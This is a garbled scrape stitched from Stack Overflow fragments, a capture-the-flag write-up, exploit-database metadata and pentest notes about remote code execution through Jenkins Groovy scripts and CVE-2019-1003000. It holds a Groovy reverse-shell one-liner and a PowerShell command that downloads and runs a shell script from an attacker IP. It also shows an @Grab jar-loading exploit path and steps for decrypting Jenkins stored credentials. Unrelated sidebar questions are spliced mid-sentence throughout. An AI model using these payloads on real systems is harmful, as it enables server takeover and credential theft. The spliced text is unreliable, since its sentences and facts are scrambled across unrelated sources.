Jenkins provides a script console functionality that can be used admin to execute arbitrary Groovy script in non-sandbox mode. member effort, documented in the book Google Hacking For Penetration Testers and popularised Then I used update-alternatives to select the right version for now: Then I recompiled and re-made my jar, and it worked! Go to path_jenkins/script 2. It is using the built-in Jetty web application container that is bundled inside Jenkins and does not include Log4j. In the second case path taken is relatively from the project workspace directory. Why did the subject of conversation between Gingerbread Man and Lord Farquaad suddenly change? Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! Your answer seems to be about how to pass a binary file as a parameter when starting a job. Where to start with a large crack the lock puzzle like this? Mark is a member of the Jenkins governing board, a long-time Jenkins user and contributor, a core maintainer, and maintainer of the git plugin, the git client plugin, the platform labeler plugin, the embeddable build status plugin, and several others. Groovy Scripts. If you don't immediately get a reverse shell you can debug by throwing an exception: 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'. ignoring entry META-INF/ I need to pass a binary file to a running job in the "input step". Instead, we will use Global Shared Libraries, which is considered one of Jenkins' best practices. The values must be Serializable and may only refer to types defined in the Java Platform or Groovy language. In this case, we are using AST transforming annotations @Grab to make jenkins import arbitrary java packages from external maven repository. Temporary policy: Generative AI (e.g., ChatGPT) is banned, Jenkins CI Pipeline Scripts not permitted to use method groovy.lang.GroovyObject, Can I "import" the stages in a Jenkins Declarative pipeline, Reading file from Workspace in Jenkins with Groovy script, Jenkins & Java : How to specify input file location, How to upload a file to jenkins pipeline job as build parameter, Using the Groovy Method (Jenkinsfile Pipeline), Jenkins pipeline -how to read file from outside workspace, Uploading a file into Nexus from Jenkins pipeline is not working. recorded at DEFCON 13. Can something be logically necessary now but not in the future? groovy The basic statements and expressions which are valid in Declarative Pipeline follow the same rules as Groovy's syntax with the following exceptions: The top-level of the Pipeline must be a block, specifically: pipeline { }. Ill get the exploit working with a new payload so that it runs on the Windows environment. Ncat: Version 7.70 ( https://nmap.org/ncat ) jenkins groovy logical if conditions validity Compile the java: Next Ill move the jar into the path expected by the GET request: Ill also get a copy of Invoke-PowerShellTcp.ps1 and named it shell.ps1 to match whats in the jar: Then Ill grab the example line and paste it at the end of the file, with my IP/port information: Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me. However, the code below seems to upload the file to the Jenkins master, not to the workspace of the current job on the slave where the job is running. *, https://github.com/jenkinsci/pipeline-model-definition-plugin/commit/083abd96e68fd89f556a0cd53db5f878dbf09b92, https://github.com/jenkinsci/script-security-plugin/commit/2c5122e50742dd16492f9424992deb21cc07837c, https://github.com/jenkinsci/workflow-cps-plugin/commit/d09583eda7898eafdd15297697abdd939c6ba5b6, GE Aviation passwords, source code exposed in open jenkins server, Matrix.org API keys stolen from unpatched Jenkins server, leading to defacement. Constant check and software update on Jenkins instance is highly recommended and necessary to create a safe environment within an organization. For example we can decrypt Jenkins secret stored in credentials.xml. Not the answer you're looking for? Distances of Fermat point from vertices of a triangle, Go to Manage Jenkins Configure System Global Pipeline Libraries section, Name the library whatever you want (in my case, my-shared-library as shown below), Keep the default to master (this is the branch where i pushed my code), No need to check/uncheck the check-boxes unless you know what you're doing. For example: 10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -, 10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found Jenkins offers a simple way to set up a continuous integration or continuous delivery (CI/CD) environment for almost any combination of languages and source code repositories using pipelines, as well as automating other routine development tasks. 10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 - To create Groovy-based project, add new free-style project and select "Execute Groovy script" in the Build section, select previously configured Groovy installation and then type your command, or specify your script file name. This is because of its nature as a CI/CD service, Jenkins usually store the SSH Key to pull source code and deploy to production servers. Groovy Hook Scripts - Jenkins producing different, yet equally valuable results. The Grab is an annotation implemented within the Grape, a JAR dependency manager embedded into Groovy. * import jenkins.model. Does air in the atmosphere get friction due to the planet's rotation? 2) Configure Jenkins for accessing Shared Library in any pipeline job. The process known as Google Hacking was popularized in 2000 by Johnny All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts. This can probably be fixed by randomizing the filename on the master. The Exploit Database is a CVE Johnny coined the term Googledork to refer Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit) EDB-ID: 46572 CVE: 2019-1003002 2019-1003001 2019-1003000 EDB Verified: Author: Metasploit Type: remote Exploit: / Platform: Java Date: 2019-03-19 Vulnerable App: His initial efforts were amplified by countless hours of community The following events use this mechanism by replacing HOOK in HOOK.groovy.d or HOOK.groovy by one of the below mentioned types: init: Post-initialization script. Obviously I can reset the box at this point to start over. So the idea is: we need the Jenkins master process runner to import a java class with command execution functionality during job script compile-time. 0. def process = "cmd /c whoami".execute();println "${process.text}"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ./jenkins_rce.py jenkins_ip jenkins_port payload.out. We'll refer an HackerOne report to exploit a CVE associated with it to get Arbitrary file read vulnerabil. Starting the Prompt Design Site: A New Home in our Stack Exchange Neighborhood. CorePlague: Critical Vulnerabilities in Jenkins Server Lead to RCE - Aqua Jenkins, JenkinsGroovyJenkinsRCEJenkinsGroovyJenkins, urlwebAppurl/$stapler/bound/org.kohsuke.stapler.bind.BoundObjectTablehudson.model.Hudsonjenkins.model.J, package net.sf.json javax.rmi json getter sett, Jenkins Jenkins Jenkins API Jenkin, Jenkins Jenkins Jenkins , JenkinsJenkinsfile Jenkins " ", pythonjavaimport xxx from xxx, # Jenkins build (//abort) Jenkins Shared Library , JenkinsPipeline Groovy , JenkinsJenkfiles,CI/CDJenkins Shared, Jenkins2 19 -- Script ConsoleJenkins. Groovy Script Remote Code Execution | ColdFusionX what to do in slave nodes. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins master or node. Jeeves is not perfect. and usually sensitive, information made publicly available on the Internet. We can see every detailed commit on their repository. Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents. After nearly a decade of hard work by the community, Johnny turned the GHDB 10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -, "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')", ./Orange.java Jenkins are not using any DBMS to store data, it stores data and states in XML file under $JENKINS_HOME. That matches the module and the version from the url. After the malicious Groovy code is executed by the Jenkins Server: The attacker's C2 receives the reverse shell from the victim's Jenkins Server! The Google Hacking Database (GHDB) 10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found Furthermore, this vulnerability can also be chained with previous vulnerabilities that allow unauthenticated RCE. Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 Ncat: Listening on 0.0.0.0:443 4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual mode After triggering the job build, the script above will be compiled and executed in Jenkins master. * def env = binding.build.environment Jenkins.instance.getItemByFullName(env.job_name).setDisabled(false) I also added a conditional step so as to either enable or disable another Jenkins job. is a categorized index of Internet search engine queries designed to uncover interesting, information and dorks were included with may web application vulnerability releases to Google Hacking Database. Find centralized, trusted content and collaborate around the technologies you use most. Jenkins RCE with Groovy Script - GitHub adamyordan/cve-2019-1003000-jenkins-rce-poc - GitHub But I think I can see two small issues. Pipeline Syntax Best practice for if else condition groovy. 4. Jenkins has a Pipeline feature which is implemented in Groovy. unintentional misconfiguration on the part of a user or a program installed by the user. By using Grape, we can add any external maven repository dependencies to the classpath. I would like to use the "input step" of Jenkins to upload a binary file to the current workspace. Jenkins RCE with Groovy Script This is less noisy than creating a new project in Jenkins 1. Advanced if else statements with grep in Groovy. Copyright (C) 2015 Microsoft Corporation. Feb 27, 2019. Furthermore, we can work on getting the reverse shell session using the same method. With these two file, we can decrypt all the encrypted information inside Jenkins. Questions that provide an exploitation path, now available for most Easy Retired machines.Checkout my YouTube video overview or the official HTB post for details! Nonetheless, this method displays how we can exploit CVE-2019-1003000 to escape the sandbox bypass, and then execute arbitrary command with a normal Jenkins user. Thanks for contributing an answer to Stack Overflow! JenkinsCVE-2018-1000861JenkinsACLGroovyGroovyRCE Vulhub https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/ PoC Jenkins Conditional Behavior. SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative), http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html. Mitigating unauthenticated remote code execution 0-day in Is there any way to fix that? Contribute to NoorahSmith/carlospolop-hacktricks-cloud development by creating an account on GitHub. We can find the related commit in Bugzilla page. Each statement has to be on its own line. Use batch-file syntax consistently, notably SET to define variables, and %.% to reference them.. The Jenkins Script Console: Pipeline: Groovy View this plugin on the Plugins site load: Evaluate a Groovy source file into the Pipeline script Takes a filename in the workspace and runs it as Groovy source text. We read every piece of feedback, and take your input very seriously. 589). We may decide to disable some services temporarily out of an abundance of caution. Making statements based on opinion; back them up with references or personal experience. Sandbox Bypass in Script Security and Pipeline Plugins, SECURITY-1266 / CVE-20191003000 (Script Security), CVE-20191003001 (Pipeline: Groovy), CVE-20191003002 (Pipeline: Declarative). The first thing to do is to collect information about past vulnerabilities and exploits. For multiline shell commands, use the following shell syntax trick (example includes bind shell): I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it. In this input, the attacker can use the @Grab annotation to invoke Grape, the built-in JAR dependency management tool for Groovy, and have it download a jar and run it. Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002) CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030) . to dump build console outputs and build environment variables to hopefully find cleartext secrets. By clicking Accept all cookies, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy. Ill need a new directory and filename for the jar: Now I update the version in the url and refresh, and I get a shell. A Case Study on Jenkins RCE - Medium Now I just need to visit the url again. Allowing unauthenticated access to the groovy script console, allowing an attacker to execute shell commands and / or connect back with a reverse shell. Ncat: Listening on :::443 proof-of-concepts rather than advisories, making it a valuable resource for those who need He sometimes contributes to developer documentation and project infrastructure in his spare time. Heres how that script looks unencoded: It defines the parameters for the orange.tw package, including where to get it, and then invokes @Grab to fetch it. Ncat: Connection from 10.10.10.63. I recommend reading this article. Some googling leads us to a java library called jproc. According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8. Upon executing a pipeline job, this build script will be compiled (and executed) in Jenkins master, resulting in a definition of the pipeline, e.g. When the Unix In-Memory target is selected . You can still make use of the input step to get binary file in your workspace. Pipeline: Groovy - Jenkins Jenkins - Pentest Book - six2dez Groovy | Jenkins plugin Ill open a nc listener on port 443. My question is why script A work's and B and C don't A 2: Some cluttering with temporary files on the master disk, and potential security concerns since the scripts now has permission to access the master disk. Daniel is a Jenkins core maintainer and member of the Jenkins security team. Guided mode is new on HackTheBox! For example, the above script may also be written: node { sh 'make something' archiveArtifacts 'something' } Were there planes able to shoot their own tail? -1 I have a boolean parameter named MyTests as part of the build job. Long, a professional hacker, who began cataloging these queries in a database known as the 3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode Furthermore, we can use meta-programming available in Groovy to execute code during compile-time, which leads us to the Grab annotation. Snippet Generator will offer this when available. See this Jira Epic for components known to be affected. Basically, there are two files needed for decrypting the encryption: secrets/master.key and secrets/hudson.util.Secret. As a security measure, Jenkins provides a mechanism for the script to be executed in sandbox mode. By clicking Post Your Answer, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct. Pass target url, job name, username/password credential, and system command to be executed, as arguments. How to run groovy script in Jenkins - FoxuTech Using the following Groovy script you can disable the attack vector in your Jenkins installations by navigating to "Manage Jenkins" and then to "Script Console", or just go to https://your-jenkins-installation/script. rev2023.7.17.43535. Jenkins 1.x: Jenkins 2.x: Today, the GHDB includes searches for In the POC video, they show visiting /securityRealm/user/admin and getting back a page about the admin, even without auth. It uses %0A for newlines. This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file.. Wadeck is the Jenkins security officer, leading the security team in improving Jenkins security. When I do that, Grape thinks the correct module is already there, and doesnt go to re-fetch it. Quoted from Red Hat Bugzilla - Bug 1667566: A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50.